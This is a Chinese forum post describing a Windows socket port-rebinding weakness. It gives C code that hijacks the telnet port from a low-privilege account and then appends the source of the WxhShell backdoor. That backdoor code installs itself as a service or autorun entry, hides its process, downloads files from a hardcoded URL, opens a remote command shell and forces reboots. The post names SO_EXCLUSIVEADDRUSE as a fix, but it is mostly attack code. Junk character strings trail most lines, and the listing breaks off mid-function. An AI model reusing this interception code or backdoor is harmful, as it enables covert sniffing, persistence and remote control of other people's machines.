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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n1J]p#nCa.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z<n-Gzwk  
tXq)nfGe{  
  saddr.sin_family = AF_INET; !OE*z $\  
IXq(jhm8bL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); l(:kfR~AC  
2\@Z5m3B  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &/WAZs$2n  
6|=j+rScv  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ];FtS>\x  
%ROwr[Dj=  
  这意味着什么?意味着可以进行如下的攻击: ijW 7c+yd  
' 4 O-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 PK:2xN:=  
ZGz|m0b (  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a5?8QAO~r  
Y(VO.fVJK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 eegx'VSX4  
OO-k|\{ |  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  GozPvR^/  
nhH;?D3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =m tY  
^T079=$5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \}dyS8  
ZYMw}]#((E  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 id,NONb\  
Ge \["`;i  
  #include 4JMiyiW&  
  #include /q1s;I  
  #include yyP-=Lhmo=  
  #include    iRw&49  
  DWORD WINAPI ClientThread(LPVOID lpParam);   r>|-2}{N/  
  int main() @;)PSp*j  
  { ht6244:  
  WORD wVersionRequested; vg\/DbI'  
  DWORD ret; -9+se  
  WSADATA wsaData; Z4q~@|+%  
  BOOL val; {IM! Wb  
  SOCKADDR_IN saddr; }Dfwm)]Q  
  SOCKADDR_IN scaddr; pIO4,VL;W  
  int err; r"wtZ]69  
  SOCKET s; 1FERmf? ?d  
  SOCKET sc; P:{<*`q  
  int caddsize; X6@wkrf-  
  HANDLE mt; qVgd(?hJ#  
  DWORD tid;   h @/;`E[  
  wVersionRequested = MAKEWORD( 2, 2 ); 2qU&l|>  
  err = WSAStartup( wVersionRequested, &wsaData ); H^AE|U*-G  
  if ( err != 0 ) { S4A q'  
  printf("error!WSAStartup failed!\n"); Qc"'8kt  
  return -1; = r4!V>  
  } 8q^o.+9  
  saddr.sin_family = AF_INET; Uems\I0  
   sqO< J$tz  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7"2b H  
+4)7j&L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); p EusTP  
  saddr.sin_port = htons(23); Hfc"L>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X?Pl<l&  
  { 9F##F-%x  
  printf("error!socket failed!\n"); nCnjq=  
  return -1; )D@~|j:  
  } w1^QD^KnH  
  val = TRUE; [r-}bp'Gp  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 m $dV<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !m y8AWO'  
  { r o\1]`6  
  printf("error!setsockopt failed!\n"); elO<a]hX  
  return -1; W>-B [5O&[  
  } WxUxc75  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %dttE)oH?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 77,oPLSn  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 FxW&8 9G  
#@f[bP}a  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wWjG JvJ  
  { m7jA ,~O  
  ret=GetLastError(); ukAKFc^)k  
  printf("error!bind failed!\n"); SoQR#(73HK  
  return -1; (K{5fC  
  } *75YGD  
  listen(s,2); yfj(Q s  
  while(1) uO(w1Q"^  
  { B!S167Op  
  caddsize = sizeof(scaddr); a)s;dp}T%  
  //接受连接请求 9;=dxWf   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); eph)=F$  
  if(sc!=INVALID_SOCKET) Zq"7,z7  
  { vF={9G  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "8<K'zeS8  
  if(mt==NULL) m#5_%3T  
  { B#l?IB~  
  printf("Thread Creat Failed!\n"); T3,1m=S  
  break; K`6z&*  
  } 7&%^>PU7  
  } :8f[|XR4\N  
  CloseHandle(mt); uofr8oL~  
  } 0!GAk   
  closesocket(s); Dd $qQ  
  WSACleanup(); )N !>=  
  return 0; zF&=U`v  
  }   N|Cs=-+  
  DWORD WINAPI ClientThread(LPVOID lpParam) |%7cdMC  
  { `: |@Zln  
  SOCKET ss = (SOCKET)lpParam; <M+R\SH-  
  SOCKET sc; CboLH0Fa  
  unsigned char buf[4096]; v;2CU  
  SOCKADDR_IN saddr; L ^J- ("e_  
  long num; 4,P bg|  
  DWORD val; _M5%V>HO  
  DWORD ret; R= 5 **  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -j2 (R?a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   n! h7   
  saddr.sin_family = AF_INET; S-F o  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4Y ROB912  
  saddr.sin_port = htons(23); a \5FAkI  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {E_{JB~`  
  { #5ax^p2*~  
  printf("error!socket failed!\n"); p~jlx~1-]  
  return -1; `C72sA{M.  
  } qRB7Ec_  
  val = 100; DtxE@,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4 gBp8*2  
  { &Z^(y}jPr  
  ret = GetLastError(); 9^ed-h Bf  
  return -1; KG9t3<-`  
  } zc+@lJy  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J%rP$O$  
  { XEH}4;C'{  
  ret = GetLastError(); rNN j0zw>  
  return -1; k5BXirB  
  } 3'I^lc  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !u|Tu4G^  
  { MmoR~~*  
  printf("error!socket connect failed!\n"); t%VDRZo7  
  closesocket(sc); 1T|$BK@)  
  closesocket(ss); %5'6Tj  
  return -1; ^krk&rW3  
  } Djt%r<  
  while(1) q0xjA  
  { &%=D \YzG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7'p8 a<x  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0BU=)Swku  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ja=w 5  
  num = recv(ss,buf,4096,0); Qs 2.ef?  
  if(num>0) <, @%*G1-  
  send(sc,buf,num,0); #J\rv'  
  else if(num==0) x hs#u  
  break; #KpY6M-H  
  num = recv(sc,buf,4096,0); vDj;>VE2b  
  if(num>0) m.Lij!0  
  send(ss,buf,num,0); S/A1RUt  
  else if(num==0) k[|~NLB8  
  break; >4i>C  
  } 1} m3 ;  
  closesocket(ss); IVvtX}  
  closesocket(sc); l&(l$@t  
  return 0 ; 3c'#6virz  
  } ;/O#4]2*  
lx0 ~>K]  
rxZi8w>}  
========================================================== qv2!grp]*W  
R[[ ,q:4  
下边附上一个代码,,WXhSHELL m]Y;c_DO:  
M!m?#xz'c  
========================================================== j6:7AH|!)2  
K >tf,  
#include "stdafx.h" 7 h=QW5  
#(;<-7M2  
#include <stdio.h> A$/\1282  
#include <string.h> :%r S =f  
#include <windows.h> rfcN/:k  
#include <winsock2.h> }M>r E  
#include <winsvc.h> S7iDTG_@t  
#include <urlmon.h> K7TzF&  
j f~wBm d7  
#pragma comment (lib, "Ws2_32.lib") lTRl"`@S  
#pragma comment (lib, "urlmon.lib") ,I.WX,OR  
?,knit2x  
#define MAX_USER   100 // 最大客户端连接数 e)^j+ l  
#define BUF_SOCK   200 // sock buffer 6cS>bl  
#define KEY_BUFF   255 // 输入 buffer X* eW#|$\  
Vzlh+R>c  
#define REBOOT     0   // 重启 uBnoQ~Qd[z  
#define SHUTDOWN   1   // 关机 T/r#H__`  
p]G3)s@>  
#define DEF_PORT   5000 // 监听端口 w!^~<{ Kz  
G7LIdn=  
#define REG_LEN     16   // 注册表键长度 ]2SF9p_  
#define SVC_LEN     80   // NT服务名长度 \fWW'  
`8_z!)  
// 从dll定义API TYns~X_PR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )Di \_/G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L5fuM]G`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kyw/LE3$-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Of}|ib^t  
yx{3J  
// wxhshell配置信息 ?knYY>Kzh1  
struct WSCFG { AasZuO_I  
  int ws_port;         // 监听端口 `RRE(SiKU  
  char ws_passstr[REG_LEN]; // 口令 N!&:rK  
  int ws_autoins;       // 安装标记, 1=yes 0=no _RkuBOv@e  
  char ws_regname[REG_LEN]; // 注册表键名 =<z.mzqu5  
  char ws_svcname[REG_LEN]; // 服务名 {r85l\u)Q\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 TX8<J>x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y'VBz{brf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K{fsn4rk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &K+0xnUH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RD,5AShP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |`d0^(X  
A Io|TD5{~  
}; '_P\#7$!MV  
,zTb<g  
// default Wxhshell configuration z;\dL  
struct WSCFG wscfg={DEF_PORT, ?`_jFj+<\S  
    "xuhuanlingzhe", yCz|{=7"j  
    1, d4?d4;{  
    "Wxhshell", Mz]: }qmFA  
    "Wxhshell", 5sO@OV\ y  
            "WxhShell Service", `YBkF  
    "Wrsky Windows CmdShell Service", Y4.Eq+$gh  
    "Please Input Your Password: ", [V8fu qE>  
  1, M\<w#wZ  
  "http://www.wrsky.com/wxhshell.exe", H].y w9  
  "Wxhshell.exe" 2.e vx  
    }; Y5q3T`x E  
Ey[On^$  
// 消息定义模块 ;lX(}2tXW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E.bi05l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sW#JjtK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PCrU<J 7  
char *msg_ws_ext="\n\rExit."; }G<T:(a  
char *msg_ws_end="\n\rQuit."; 58xnB!h\}  
char *msg_ws_boot="\n\rReboot..."; P(k(m< 0  
char *msg_ws_poff="\n\rShutdown..."; z&8un% Jt  
char *msg_ws_down="\n\rSave to "; `6Qdfmk=  
QnouBrhO  
char *msg_ws_err="\n\rErr!"; d)o!5L  
char *msg_ws_ok="\n\rOK!"; az;Q"V'6  
oEz%={f  
char ExeFile[MAX_PATH]; T GB_~Bqe  
int nUser = 0; BG&cQr  
HANDLE handles[MAX_USER]; "t=hzn"~%  
int OsIsNt; Joe_PS  
SlLw{Yb7\.  
SERVICE_STATUS       serviceStatus; R8ONcG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oPKr* `'  
4\ c,)U}  
// 函数声明 owpWz6k7  
int Install(void); RC#C\S6  
int Uninstall(void); QYb33pN|  
int DownloadFile(char *sURL, SOCKET wsh); V&]DzjT/  
int Boot(int flag); |!SO G  
void HideProc(void); I&|f'pn^<  
int GetOsVer(void); |C%Pjl^YkV  
int Wxhshell(SOCKET wsl);  _?vo U  
void TalkWithClient(void *cs); J T# d(Y  
int CmdShell(SOCKET sock); qZEoiNH(Tj  
int StartFromService(void); M6r^L6$N  
int StartWxhshell(LPSTR lpCmdLine); LK9g0_  
$4FX(O0Q@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8e~|.wOL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s MN*RKer  
Lw7=+h)  
// 数据结构和表定义 &ZHC-qMRK  
SERVICE_TABLE_ENTRY DispatchTable[] = )}%O>%  
{ AdZ;j6#  
{wscfg.ws_svcname, NTServiceMain}, s pLZ2]A  
{NULL, NULL} #%@*p,xh  
}; nwt C:*}  
rx"s!y{!-  
// 自我安装 RF!a//  
int Install(void) `i +g{kE2M  
{ ysIh[1E~%:  
  char svExeFile[MAX_PATH]; s^OO^%b  
  HKEY key; )+")Sz3zx  
  strcpy(svExeFile,ExeFile); OYC_;CP  
m9}AG Rj  
// 如果是win9x系统,修改注册表设为自启动 ]j~"mFAP  
if(!OsIsNt) { y)c5u%(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p}b/XnV$~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pg+[y<B  
  RegCloseKey(key); wu9=N ^x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5BkV aF7Th  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *1Z5+uVT[  
  RegCloseKey(key); O#EV5FeF.  
  return 0; lOwS&4UT  
    } \qvaE+  
  } u}bf-;R  
} ow=UtA-^O  
else { nfW&1a  
@XD+'{]  
// 如果是NT以上系统,安装为系统服务 8.=\GV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^[-el=oKn0  
if (schSCManager!=0) ;8S/6FI  
{ >N\0"F7.  
  SC_HANDLE schService = CreateService t2" (2  
  ( !  Z`0(d  
  schSCManager, l=N2lHU  
  wscfg.ws_svcname, Awv`)"RAR  
  wscfg.ws_svcdisp, XMB[h   
  SERVICE_ALL_ACCESS, 9~rUkHD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z|9u]xL  
  SERVICE_AUTO_START, \AUI|M;'  
  SERVICE_ERROR_NORMAL,  =$8nUX`  
  svExeFile, 0Z<I%<8bK  
  NULL, wv QMnE8\  
  NULL, y %$O-q  
  NULL, e^YHJ>@  
  NULL, X2mREt9  
  NULL '1fNBH2  
  ); }0`nvAf  
  if (schService!=0) dm "n%  
  { [a o U5;7  
  CloseServiceHandle(schService); depYqYK7G  
  CloseServiceHandle(schSCManager); <WXzh5D2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l&VjUPz_  
  strcat(svExeFile,wscfg.ws_svcname); CxhY$%C (L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pu!dqF<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e7fiGl  
  RegCloseKey(key); 3($"q]Y  
  return 0; H+}"q$  
    } @UBjq%z  
  } ~1m2#>  
  CloseServiceHandle(schSCManager); R8L_J6Kpa  
} !{n<K:x1  
} 8By,#T".  
O<)y-nx;X  
return 1; 22<0DhJ  
} ki0V8]HP  
MF6 0-VE  
// 自我卸载 @''GPL@  
int Uninstall(void) (\"k&O{  
{ 6ZgU"!|r  
  HKEY key; <D&)OxEn\  
=z?%;4'|  
if(!OsIsNt) { $I#q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8;y&Pb~)  
  RegDeleteValue(key,wscfg.ws_regname); rV({4cIe9R  
  RegCloseKey(key); vB37M@wm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G1t\Q-|l0  
  RegDeleteValue(key,wscfg.ws_regname); p_ Fy >j  
  RegCloseKey(key); @cRZk`|1n  
  return 0; wi8Yl1p]!z  
  } /:<IIqO.  
} _UE)*l m+  
} z|?R/Gf8  
else { hqk}akXt  
h=kQ$`j6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1iL 'V-y  
if (schSCManager!=0) 0w'j+  
{ [U#72+K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T&T/C@z'R  
  if (schService!=0) B .TB\j  
  { &bgvy'p  
  if(DeleteService(schService)!=0) { 04J}UE]Ww  
  CloseServiceHandle(schService); ]Ni$.@Hu$  
  CloseServiceHandle(schSCManager); 5!C_X5M  
  return 0; e&MC|US=\  
  } H$ftGwS8  
  CloseServiceHandle(schService); [ rNXQ` /  
  } ~Au,#7X)  
  CloseServiceHandle(schSCManager); ]fnnZ  
} d_S*#/k  
} &2-L. Xb  
nFX_+4V2  
return 1; 4RKW  
} PUQES(&  
^ yh'lh/  
// 从指定url下载文件 N3t0-6$_  
int DownloadFile(char *sURL, SOCKET wsh) o }Tz"bN  
{ H 9 C9P17  
  HRESULT hr; Y\],2[liF  
char seps[]= "/"; y5= `ap  
char *token; Ae^X35  
char *file; p <eC<dtu  
char myURL[MAX_PATH]; @ZN^1?][  
char myFILE[MAX_PATH]; 3$vRW.c\q  
eMOD;{Q?X  
strcpy(myURL,sURL); k~%<Ir1V]  
  token=strtok(myURL,seps); 2=-utN@Z  
  while(token!=NULL) 1%M&CX  
  { b1pQ`qt  
    file=token; CV$],BM  
  token=strtok(NULL,seps); SUWD]k>PH  
  } 6#}93Dgv4  
L_Q#(in  
GetCurrentDirectory(MAX_PATH,myFILE); d;Hn#2C  
strcat(myFILE, "\\"); 8$|8`;I(  
strcat(myFILE, file); " "O"  
  send(wsh,myFILE,strlen(myFILE),0); `<^VR[Mx  
send(wsh,"...",3,0); K.C> a:J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0.r4f'vk  
  if(hr==S_OK) 0s#vwK13  
return 0; }MR1^  
else 7;.xc{  
return 1; [w -{r+[  
oMcK`%ydm  
} gADmN8G=  
.*=]gZ$IE  
// 系统电源模块 k>}g\a,  
int Boot(int flag) w.Ezg j  
{ M-NV_W&M  
  HANDLE hToken; <1w/hy&mWN  
  TOKEN_PRIVILEGES tkp; gw+9x<e  
3qHQX?a  
  if(OsIsNt) { nmlPX7!{$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E{=2\Wkcp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _2fkb=2@  
    tkp.PrivilegeCount = 1; 0,*%vG?Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qP!eJ6[Nh"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P ]N [y  
if(flag==REBOOT) { Jxf~&!zR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  <VjJAu  
  return 0; 3>zN/ f  
} Fhq9D{TeY,  
else { I4rPHZ|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6nDV1O5  
  return 0; L+B?~_*  
} ZA~Z1Mro#"  
  } v,NHQyk  
  else { 7Y=cn_ wU  
if(flag==REBOOT) { d {lP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?:^mBb) T  
  return 0; "%WgT2)m.  
} 0)YbI!  
else { Nd:R" p*8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \u`)kJ5o1  
  return 0; : Ud[f`t  
} +i `*lBup$  
} (VvKGh  
'"pd  
return 1; dGZntT 2D  
} RhF>T&Q  
-O:_!\uA  
// win9x进程隐藏模块 hlvt$Jwq  
void HideProc(void) | sqZ$Mu  
{ R~L0{` 0  
tc_f;S`k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wYeB)1.  
  if ( hKernel != NULL ) lM\LN^f5*  
  { zHB_{(o7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f<i7@%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Rg29  
    FreeLibrary(hKernel); I9$c F)zk  
  } XXmE+aI  
m!XI{F@x  
return; "re-@Baw  
} u#W5`sl  
BUUf;Vv  
// 获取操作系统版本 TL= YQA  
int GetOsVer(void) RKd  
{ ydl jw  
  OSVERSIONINFO winfo; 4kp im  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?{o/I\\  
  GetVersionEx(&winfo); Qz<d~ N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iWXc  
  return 1; -y) ,Y |  
  else /rB{[zk  
  return 0; )!9Ifk0KH  
} Tm+;0  
dtM[E`PL  
// 客户端句柄模块 NQTnhiM7$  
int Wxhshell(SOCKET wsl) u'Q?T7  
{ ]>##`X  
  SOCKET wsh; [y) Fc IK}  
  struct sockaddr_in client; lYf+V8{  
  DWORD myID; $<@\-vYvr@  
]7sx;KFv  
  while(nUser<MAX_USER) p?(L'q"WK  
{ {B$2"q/~  
  int nSize=sizeof(client); :@ uIxa$[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ftb%{[0}u3  
  if(wsh==INVALID_SOCKET) return 1; O/AE}]  
Df07y<>7Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1N`vCt]w  
if(handles[nUser]==0) 2)iD4G`  
  closesocket(wsh); 3{raKM6F  
else xc 1A$EY  
  nUser++; +,'T=Ic{  
  } zbw7U'jk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `cP <}^]  
\L!uHAE2a  
  return 0; `&7RMa4=  
} r2*<\ax  
)9"oL!2h  
// 关闭 socket :LJ7ru2  
void CloseIt(SOCKET wsh) )yee2(S  
{ Y,z??bm~J  
closesocket(wsh); u.|~   
nUser--; C.a5RF0  
ExitThread(0); Q}%tt=KD  
} Hy; Hs#  
Y8s;w!/  
// 客户端请求句柄  aA*9,  
void TalkWithClient(void *cs)  |qcD;  
{ %(m ])  
Id8wS!W`7  
  SOCKET wsh=(SOCKET)cs; (ClhbfzD  
  char pwd[SVC_LEN]; V}8$p8#<@  
  char cmd[KEY_BUFF]; #m. AN  
char chr[1]; JV"NZvjN7d  
int i,j; IFNWS,:  
%Tcf6cK"  
  while (nUser < MAX_USER) { -<f/\U  
>mu)/kl  
if(wscfg.ws_passstr) {  I?Y d   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 54p tP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sLh0&R7   
  //ZeroMemory(pwd,KEY_BUFF); Iq' O  
      i=0; x2wg^$F*oO  
  while(i<SVC_LEN) { X33v:9=  
N{a kg90  
  // 设置超时 HQVh+(  
  fd_set FdRead; 7Ur?ep  
  struct timeval TimeOut; iv%w!3#  
  FD_ZERO(&FdRead); ,\ldz(D?+  
  FD_SET(wsh,&FdRead); CDg AGy  
  TimeOut.tv_sec=8; SBKeb|H8  
  TimeOut.tv_usec=0; D!> d0k,Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eMMx8E)B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pu;3nUH  
9/TY\?U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <bmLy_":  
  pwd=chr[0]; hq_~^/v\  
  if(chr[0]==0xd || chr[0]==0xa) { )@7DsV/M  
  pwd=0; ija: H'j  
  break; s${_K*g6  
  } s"#]L44N  
  i++; &~~s6   
    } 4rB8Nm1  
-e>|kPfv!  
  // 如果是非法用户,关闭 socket Agy <j   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )^;DGzG  
} aO1IVESr$  
sOC&Q&eg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x'`"iZO.t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4,1oU|fz  
NrJzVGeS  
while(1) { iyM^[/-R6  
/A(NuB<Pq  
  ZeroMemory(cmd,KEY_BUFF); hw,^G5m  
>]$aoA#  
      // 自动支持客户端 telnet标准   (Pi-uL<[a  
  j=0; *3Nn +T  
  while(j<KEY_BUFF) { (!zM\sF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3 ]}'TA`v  
  cmd[j]=chr[0]; (aKZ5>>cN  
  if(chr[0]==0xa || chr[0]==0xd) { `F1dyf!p<  
  cmd[j]=0; oh\,OW  
  break; w=J4zkWk  
  } T%I&txl  
  j++; /8eW@IO.F  
    } C ?7X"~ ~  
vjK, I9  
  // 下载文件 0-xCp ~vE  
  if(strstr(cmd,"http://")) { vA?_-.J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n6f3H\/P&  
  if(DownloadFile(cmd,wsh)) R2^iSl%pj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k/`i6%F#m  
  else <MZi<Z`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'U)8rR  
  } :m`/Q_y"  
  else { gue(C(~.k_  
sbla`6Fb  
    switch(cmd[0]) { Yo2Trh  
  )!-S|s'  
  // 帮助 ~77 5soN  
  case '?': { {'~sS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,IjdO(?TC  
    break; o/JPYBhdl  
  } a!t V6H  
  // 安装 &BgU:R,  
  case 'i': { ,P@QxnQ   
    if(Install()) YNM\pX'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @d)a~[pm  
    else ?)cJZ>$!w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,L%p  
    break; @hT;Bo2G]  
    } _i@x@:_l  
  // 卸载 1q!sKoJ<  
  case 'r': { M {xie  
    if(Uninstall()) H1Xovr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,OB&nN t>  
    else !#.vyBK#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D8/sz`N7Q  
    break; 4A~)b"j5  
    } T46{*(  
  // 显示 wxhshell 所在路径 ZjD2u 8e  
  case 'p': { @3 "DBJ  
    char svExeFile[MAX_PATH]; cEi<}9r  
    strcpy(svExeFile,"\n\r"); 9p<:LZd~  
      strcat(svExeFile,ExeFile); LXxl?D  
        send(wsh,svExeFile,strlen(svExeFile),0); lIl9ypikg  
    break; 7.|S>+Q  
    } `Kp}s<  
  // 重启 s5.k|!K  
  case 'b': { Wf1-"Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <4NQL*|>  
    if(Boot(REBOOT)) R6Pz#`n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bX{PSjD  
    else { ^'Zh;WjI7  
    closesocket(wsh); SRk7gfP*q  
    ExitThread(0); r %xB8e9  
    } j?J=w=.Nx  
    break; ~%GSsm\J  
    }  * D3  
  // 关机 w{ m#Yt  
  case 'd': { 4H9xO[iM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JWSq"N  
